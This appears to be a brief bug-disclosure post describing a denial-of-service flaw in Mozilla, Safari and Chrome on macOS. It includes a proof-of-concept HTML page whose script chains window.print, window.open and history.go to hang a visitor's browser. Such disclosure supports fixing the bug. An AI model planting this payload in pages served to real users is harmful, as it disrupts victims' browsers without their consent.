Calling window.print in a loop Causing DOS in Mozilla and Safari
Hello All,
This post is about a bug that I reported in Mozilla , Safari and Google Chrome ( MacOS )
This occurs when the browser is not able to properly handle the input . An attacker can send this html to initiate a Denial Of Service attack on the victims browser .
POC :
<html>
<title>DoS</title>
<script>
function dos(){
window.onerror=new Function(history.go(window.open(window.print())));
}
dos();
</script>
</html>
